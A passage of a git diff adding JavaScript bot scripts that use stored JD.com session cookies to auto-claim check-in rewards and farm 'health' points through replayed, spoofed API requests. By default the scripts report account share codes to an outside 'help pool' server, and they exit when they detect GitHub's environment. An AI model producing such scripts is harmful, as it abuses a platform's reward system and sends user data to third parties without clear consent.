} lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_goodMorning.js b/jd_goodMorning.js new file mode 100644 index 0000000..fe0ea8b --- /dev/null +++ b/jd_goodMorning.js @@ -0,0 +1,488 @@ +/* +早起福利 +更新时间:2021-7-8 +30 6 * * * jd_goodMorning.js +*/ +const $ = new Env("早起福利") +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +let cookiesArr = [] +let cookie = '' + +!(async () => { + await requireConfig() + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.cookie = cookie; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await goodMorning() + } + } +})() +function goodMorning() { + return new Promise(resolve => { + $.get({ + url: 'https://api.m.jd.com/client.action?functionId=morningGetBean&area=22_1930_50948_52157&body=%7B%22rnVersion%22%3A%224.7%22%2C%22fp%22%3A%22-1%22%2C%22eid%22%3A%22%22%2C%22shshshfp%22%3A%22-1%22%2C%22userAgent%22%3A%22-1%22%2C%22shshshfpa%22%3A%22-1%22%2C%22referUrl%22%3A%22-1%22%2C%22jda%22%3A%22-1%22%7D&build=167724&client=apple&clientVersion=10.0.6&d_brand=apple&d_model=iPhone12%2C8&eid=eidI1aaf8122bas5nupxDQcTRriWjt7Slv2RSJ7qcn6zrB99mPt31yO9nye2dnwJ/OW%2BUUpYt6I0VSTk7xGpxEHp6sM62VYWXroGATSgQLrUZ4QHLjQw&isBackground=N&joycious=60&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=32280b23f8a48084816d8a6c577c6573c162c174&osVersion=14.4&partner=apple&rfs=0000&scope=01&screen=750%2A1334&sign=0c19e5962cea97520c1ef9a2e67dda60&st=1625354180413&sv=112&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSPYvHJMKdY9TUw/AQc1o/DLA/rOTDwEjG4Ar9s7IY4H6IPf3pAz7rkIVtEeW7XkXSOXGvEtHspPvqFlAueK%2B9dfB7ZbI91M9YYXBBk66bejZnH/W/xDy/aPsq2X3k4dUMOkS4j5GHKOGQO3o2U1rhx5O70ZrLaRm7Jy/DxCjm%2BdyfXX8v8rwKw%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=c99b216a4acd3bce759e369eaeeafd7', + headers: { + 'Cookie': cookie, + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Encoding': 'gzip, deflate, br', + 'User-Agent': ua, + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Host': 'api.m.jd.com' + }, + }, (err, resp, data) => { + try { + data = JSON.parse(data) + if(data.data){ + console.log(data.data.bizMsg) + } + if(data.errorMessage){ + console.log(data.errorMessage) + } + } catch (e) { + $.logErr('Error: ', e, resp) + } finally { + resolve(data) + } + }) + }) + } + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch (e) { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch (e) { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_health.js b/jd_health.js new file mode 100644 index 0000000..7510280 --- /dev/null +++ b/jd_health.js @@ -0,0 +1,448 @@ +/* +东东健康社区 +更新时间:2021-4-22 +活动入口:京东APP首页搜索 "玩一玩"即可 + +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区 +13 0,6,22 * * * jd_health.js, tag=东东健康社区, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 0,6,22 * * *" script-path=jd_health.js, tag=东东健康社区 + +====================Surge================ +东东健康社区 = type=cron,cronexp="13 0,6,22 * * *",wake-system=1,timeout=3600,script-path=jd_health.js + +============小火箭========= +东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 0,6,22 * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +const notify = $.isNode() ? require('./sendNotify') : ""; +let cookiesArr = [], cookie = "", allMessage = "", message; +const inviteCodes = [ + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, + `T0225KkcRh9P9FbRKUygl_UJcgCjVfnoaW5kRrbA@T0159KUiH11Mq1bSKBoCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`, +] +const ZLC = !(process.env.JD_JOIN_ZLC && process.env.JD_JOIN_ZLC === 'false') +let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : '' +const randomCount = $.isNode() ? 20 : 5; +function oc(fn, defaultVal) {//optioanl chaining + try { + return fn() + } catch (e) { + return undefined + } +} +function nc(val1, val2) {//nullish coalescing + return val1 != undefined ? val1 : val2 +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/"; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/", {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!process.env.JD_JOIN_ZLC) { + console.log(`【注意】本脚本默认会给助力池进行助力!\n如需加入助力池请添加TG群:https://t.me/jd_zero_205\n如不加入助力池互助,可添加变量名称:JD_JOIN_ZLC,变量值:false\n`) + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await shareCodesFormat() + await main() + await showMsg() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +async function main() { + try { + if (reward) { + await getCommodities() + } + + $.score = 0 + $.earn = false + await getTaskDetail(-1) + await getTaskDetail(16) + await getTaskDetail(6) + for(let i = 0 ; i < 5; ++i){ + $.canDo = false + await getTaskDetail() + if(!$.canDo) break + await $.wait(1000) + } + await collectScore() + await helpFriends() + await getTaskDetail(22); + await getTaskDetail(-1) + + } catch (e) { + $.logErr(e) + } +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + console.log(`去助力好友${code}`) + let res = await doTask(code, 6) + if([108,-1001].includes(oc(() => res.data.bizCode))){ + console.log(`助力次数已满,跳出`) + break + } + await $.wait(1000) + } +} + +function showMsg() { + return new Promise(async resolve => { + message += `本次获得${$.earn}健康值,累计${$.score}健康值\n` + $.msg($.name, '', `京东账号${$.index} ${$.UserName}\n${message}`); + resolve(); + }) +} + +function getTaskDetail(taskId = '') { + return new Promise(resolve => { + $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), + async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + if (taskId === -1) { + let tmp = parseInt(parseFloat(nc(oc(() => data.data.result.userScore) , '0'))) + if (!$.earn) { + $.score = tmp + $.earn = 1 + } else { + $.earn = tmp - $.score + $.score = tmp + } + } else if (taskId === 6) { + if (oc(() => data.data.result.taskVos)) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)}\n`); + // console.log('好友助力码:' + oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) + // *************************** + // 报告运行次数 + if (ZLC) { + if (oc(() => data.data.result.taskVos[0].assistTaskDetailVo.taskToken)) { + $.code = data.data.result.taskVos[0].assistTaskDetailVo.taskToken + for (let k = 0; k < 5; k++) { + try { + await runTimes() + break + } catch (e) { + } + await $.wait(Math.floor(Math.random() * 10 + 3) * 1000) + } + } + } + // *************************** + + } + } else if (taskId === 22) { + console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务,完成次数:${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`) + if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务 + await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3)); + await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务 + } else { + for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => ![19,25,15,21].includes(vo.taskType))) , [])) { + console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) + for (let i = vo.times; i < vo.maxTimes; i++) { + console.log(`去完成${vo.taskName}任务`) + if (vo.taskType === 13) { + await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 8) { + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 9) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1) + await $.wait(1000 * 10) + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0) + } else if (vo.taskType === 10) { + await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 26 || vo.taskType === 3) { + await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId)) + } else if (vo.taskType === 1) { + for (let key of Object.keys(vo.followShopVo)) { + let taskFollow = vo.followShopVo[key] + if (taskFollow.status !== 2) { + await doTask(taskFollow.taskToken, vo.taskId, 0) + break + } + } + } + await $.wait(2000) + } + } + } + } + } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} +function runTimes() { + return new Promise((resolve, reject) => { + $.get({ + url: `https://api.jdsharecode.xyz/api/runTimes?activityId=health&sharecode=${$.code}` + }, (err, resp, data) => { + if (err) { + console.log('上报失败', err) + reject(err) + } else { + console.log(data) + resolve() + } + }) + }) +} +async function getCommodities() { + return new Promise(async resolve => { + const options = taskUrl('jdhealth_getCommodities') + $.post(options, async (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data) + let beans = data.data.result.jBeans.filter(x => x.status !== 0 && x.status !== 1) + if (beans.length !== 0) { + for (let key of Object.keys(beans)) { + let vo = beans[key] + if (vo.title === reward && $.score >= vo.exchangePoints) { + await $.wait(1000) + await exchange(vo.type, vo.id) 